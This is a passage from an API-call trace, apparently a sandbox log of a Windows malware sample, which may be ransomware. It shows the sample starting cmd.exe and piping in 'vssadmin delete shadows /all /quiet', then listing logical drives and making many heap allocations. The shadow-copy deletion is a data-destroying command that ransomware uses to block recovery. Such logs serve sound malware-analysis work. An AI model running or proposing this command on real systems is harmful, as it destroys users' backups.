Ptr=0x526cb0, Size=0x80) returned 0x56afc8 [0084.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56afc8, Size=0x100) returned 0x527e70 [0084.761] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527e70 | out: hHeap=0x4f0000) returned 1 [0084.761] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x54af10, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0084.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55af18 | out: hHeap=0x4f0000) returned 1 [0084.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54af10 | out: hHeap=0x4f0000) returned 1 [0084.761] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0084.761] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0084.761] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0084.761] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0084.761] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5e4, dwThreadId=0x5e8)) returned 1 [0085.337] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0085.337] WriteFile (in: hFile=0xec, lpBuffer=0x56af40*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x56af40*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0085.337] CloseHandle (hObject=0xfc) returned 1 [0085.337] CloseHandle (hObject=0xf8) returned 1 [0085.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af08 | out: hHeap=0x4f0000) returned 1 [0085.337] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0085.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0085.337] lstrlenW (lpString="%comspec%") returned 9 [0085.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504640 | out: hHeap=0x4f0000) returned 1 [0085.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0085.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524d60 [0085.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x524d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0085.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x527d90 [0085.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x527d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0085.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d78 [0085.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d78, Size=0x20) returned 0x504640 [0085.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504640, Size=0x40) returned 0x526cb0 [0085.453] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0085.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x527ee8 [0085.453] GetLogicalDrives () returned 0x4 [0085.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x52af08 [0085.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d78 [0085.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d78, Size=0x20) returned 0x504640 [0085.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504640, Size=0x40) returned 0x526d40 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526d40, Size=0x80) returned 0x56af40 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x529458 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529458, Size=0x200) returned 0x529458 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529458, Size=0x400) returned 0x529458 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529458, Size=0x800) returned 0x56cf28 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56cf28, Size=0x1000) returned 0x56cf28 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x53af28 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d78 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524e50 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5255b8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524e68 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5255c8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524e80 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5255c8, Size=0x8) returned 0x5255c8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524e98 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5255c8, Size=0x10) returned 0x5255c8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524eb0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ec8 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5255c8, Size=0x20) returned 0x5255c8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ee0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529470 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524ef8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524f10 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5255c8, Size=0x40) returned 0x504a40 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524f28 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524f40 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524f58 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524f70 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524f88 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524fa0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529480 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524fb8 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504a40, Size=0x80) returned 0x529a70 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524fd0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524fe8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x525000 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x525018 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56df48 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56df60 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56df78 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529490 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56df90 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56dfa8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56dfc0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56dfd8 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56dff0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e008 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e020 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e038 [0085.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529a70, Size=0x100) returned 0x529a70 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e050 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e068 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e080 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x56e098 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e0b0 [0085.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e0c8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5294a0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e0e0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e0f8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e110 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5294b0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e128 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e140 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5294c0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e158 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e170 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e188 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e1a0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e1b8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e1d0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x56e1e8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e200 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x56e218 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e230 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e248 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e260 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e278 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5294d0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e290 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e2a8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e2c0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e2d8 [0085.455] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529a70, Size=0x200) returned 0x529a70 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e2f0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5294e0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e308 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e348 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e360 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e378 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e390 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e3a8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e3c0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e3d8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e3f0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e408 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e420 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e438 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e450 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e468 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e480 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e498 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e4b0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e4c8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e4e0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e4f8 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e510 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5294f0 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e528 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e540 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e558 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529500 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e570 [0085.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e588 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e5a0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e5b8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e5d0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e5e8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e600 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e618 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e630 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e648 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e660 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e678 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e690 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e6a8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e6c0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e6d8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e6f0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e708 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e748 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e760 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e778 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529510 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x529520 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e790 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e7a8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e7c0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e7d8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e7f0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e808 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e820 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e838 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e850 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e868 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e880 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e898 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e8b0 [0085.456] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529a70, Size=0x400) returned 0x529a70 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e8c8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e8e0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e8f8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e910 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e928 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e940 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e958 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e970 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e988 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e9a0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529530 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e9b8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56e9d0 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56e9e8 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea00 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea18 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea30 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x56ea48 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea60 [0085.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea78 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ea90 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eaa8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eac0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ead8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eaf0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eb08 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529540 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eb48 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eb60 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eb78 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eb90 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eba8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ebc0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ebd8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ebf0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ec08 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x56ec20 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ec38 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x56ec50 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ec68 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ec80 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ec98 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ecb0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ecc8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x56ece0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ecf8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed10 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed28 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed40 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed58 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed70 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ed88 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eda0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56edb8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56edd0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ede8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee00 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee18 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee30 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee48 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee60 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ee78 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x56ee90 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x5261c0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eea8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eec0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eed8 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56eef0 [0085.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x56ef08 [0085.457] RtlAllocateHeap 